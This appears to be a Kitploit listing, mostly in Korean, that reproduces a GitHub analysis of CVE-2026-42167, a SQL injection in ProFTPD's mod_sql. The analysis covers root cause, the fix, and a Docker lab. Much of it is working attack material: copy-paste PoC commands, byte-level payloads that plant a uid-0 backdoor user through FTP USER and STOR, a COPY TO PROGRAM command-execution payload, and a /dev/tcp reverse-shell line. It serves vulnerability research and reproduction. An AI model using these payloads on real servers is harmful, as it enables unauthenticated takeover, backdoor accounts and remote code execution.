Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
proftpd-CVE-2026-42167-analysis — CVE-2026-42167(ProFTPD mod_sql is_escaped_text() 우회)에 대한 독립적 재현, 코드 수준 근본 원인 분석, 현실적 노출 보고서. | Kitploit
도구/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

CVE-2026-42167(ProFTPD mod_sql is_escaped_text() 우회)에 대한 독립적 재현, 코드 수준 근본 원인 분석, 현실적 노출 보고서.

저장소 보기
31105개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42167 — ProFTPD mod_sql SQL 인젝션 / 인증 우회 / RCE

CVE-2026-42167에 대한 독립적 재현, 코드 수준의 근본 원인 분석, 그리고 솔직한 노출 분석입니다. 이는 ZeroPath Research가 공개하고 ProFTPD 1.3.9a / 1.3.10rc1에서 수정된 ProFTPD mod_sql 로깅 파이프라인의 is_escaped_text() 우회 취약점입니다.

2026-04-29, macOS / Apple Silicon의 Docker에서 엔드투엔드로 빌드 및 검증되었습니다.

TL;DR — 걱정할 정도인지 판단하기 전에 현실적인 노출 상황은 결론을 참조하세요. 이는 기본 설치 버그는 아니지만, 위험한 따옴표 패턴은 상위 문서가 사용하라고 안내하는 패턴이므로 mod_sql 배포의 상당 부분이 이 패턴을 상속받습니다.

필드값
CVECVE-2026-42167
CWECWE-89 (SQL 인젝션), CWE-78 (OS 명령 인젝션 — PG COPY TO PROGRAM 경유)
영향 범위mod_sql + SQLLog/SQLNamedQuery를 사용하는 ProFTPD ≤ 1.3.9, 형식 문자열이 공격자 제어 변수를 작은따옴표 안에 삽입하는 경우
수정 버전1.3.9a (af90843ba…) / 1.3.10rc1, 커밋 e6f728481 참조 ("Issue #2052")
고정된 취약 커밋ae25959adb05ae1d6ebfa1f36bf778c9c34e9410
취약 파일contrib/mod_sql.c 741–758행 (is_escaped_text) 및 777행 (sql_resolved_append_text)
최초 공개https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
공개 PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
릴리스 노트http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. 근본 원인 — contrib/mod_sql.c의 is_escaped_text() 휴리스틱

mod_sql은 로깅 형식 변수(%U, %{basename} 등)를 해석하고 각 조각을 sql_resolved_append_text()를 통해 렌더링된 SQL에 추가합니다. 관리자 구성이 이미 변수를 '…'로 감싸는 이전 버전과의 호환성을 유지하기 위해, 이 함수는 sql_escapestring이 필요한지 여부를 결정하기 위해 is_escaped_text()를 호출합니다:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

검사는 순전히 구조적인 것입니다. 즉, *"신뢰할 수 있는 코드에 의해 이미 이스케이프됨"*과 *"이미 이스케이프된 것처럼 보이도록 공격자가 조작함"*을 구분할 수 없습니다.
`'<no-internal-quotes>'`와 일치하는 클라이언트 제공 값은 `sql_escapestring`을 건너뛰고 최종 쿼리에 원시 상태로 연결됩니다.

표준 문서화된 구성은 `%U` / `%{basename}` / `%m`을 작은따옴표로 감쌉니다.```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

When the attacker sends USER '<payload>' (start- and end-quote, no internal quotes), the resolver substitutes %U unescaped, producing ''<payload>'' in the SQL — the empty string literals close the surrounding quotes and <payload> runs as raw SQL. With PostgreSQL (PQexec) and SQLite (sqlite3_exec), stacked queries are supported, so <payload> can be any sequence of statements.

Because SQLLog ERR_* fires on failed logins and %U is set from USER before authentication, the attack is fully unauthenticated.

The fix (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gains an already_escaped parameter. Callers that resolve values from client input pass FALSE and now go through sql_escapestring unconditionally — the is_escaped_text() heuristic is still applied for the legitimate "config has pre-escaped value" path but no longer applies to attacker-controlled data.


2. Lab environment```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- 두 컨테이너는 `setup/docker-compose.yml`을 통해 기동됩니다.
- `setup/proftpd.conf`는 취약한 로깅 설정을 활성화합니다(§1 참조).
- `setup/seed.sql`은 `users`, `groups`, `activity_log`, `xfer_log`,
  `secrets` 테이블과 단일 합법 FTP 사용자 `ftpuser / ftppass`를 생성합니다.

---

## 3. 재현 — 복사/붙여넣기

전제 조건: Docker Desktop, Python 3.10+, git. (`uv`는 선택 사항이며,
PoC는 표준 라이브러리만 사용합니다.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

업스트림 저장소의 두 대화형 변형 (preauth_user_rce.py, postauth_stor_rce.py)은 수정되지 않았으며 PTY 기반 리버스 셸을 띄웁니다. 이들은 마커 변형과 동일한 프리미티브를 사용합니다 — 셸 명령을 bash -i >& /dev/tcp/<host>/<port> 0>&1로 바꾸고 먼저 <port>에서 리슨하면 됩니다.


4. 페이로드, 바이트 단위로

사전 인증 백도어 (USER 명령, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

왜 작동하는가:

1. **바깥쪽 따옴표 + 내부 따옴표 없음**이
   `is_escaped_text()`와 일치 → 이스케이프 건너뜀.
2. 구성된 `SQLNamedQuery`는 `INSERT "'%U', '%r', '%m'" activity_log`이므로
   렌더링된 SQL은
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')`가 되지만 —
   `<payload>` 자체가 `'`로 시작하므로 실제 쿼리는
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`가 됨.
3. `--`가 뒤따르는 형식 슬롯을 주석 처리함.
4. `$$…$$` PostgreSQL 달러 따옴표 구문을 사용하면 `'`를 전혀 쓰지 않고도
   문자열(`backdoor`, `pwned123`, `/`, `/bin/bash`)을 전달할 수 있음 —
   `is_escaped_text()` 우회를 유지함.
5. 실패한 로그인 시 `SQLLog ERR_*`가 발생 → `PQexec()`가 스택된
   `INSERT INTO users`를 실행 → 인증 테이블에 백도어 계정이 생성됨.

### 인증 후 백도어(`STOR` 파일명, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

동일한 우회, 다른 트리거. chr(47) = '/'가 사용되는 이유는 FTP가 파일명의 /를 디렉터리 구분자로 해석하기 때문에 공격자는 파일명에 리터럴 /를 넣을 수 없기 때문이다 — chr()을 사용하면 백도어 계정이 와이어를 통해 /를 보내지 않고도 homedir = '/'를 얻을 수 있다.

사전 인증 RCE (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

`<shell-cmd>`가 임의의 명령일 때, PostgreSQL은 **데이터베이스** 호스트에서 `postgres` OS 사용자로 `/bin/sh`를 통해 이를 실행합니다. `mod_sql`이 사용하는 DB 역할이 슈퍼유저(또는 `pg_execute_server_program`의 구성원)여야 합니다. 이는 단일 테넌트 배포에서 흔하며, `POSTGRES_USER`를 통해 역할이 생성될 때 공식 `postgres` Docker 이미지의 기본값입니다.

---

## 5. 재현 중 캡처된 증거
도구 다운로드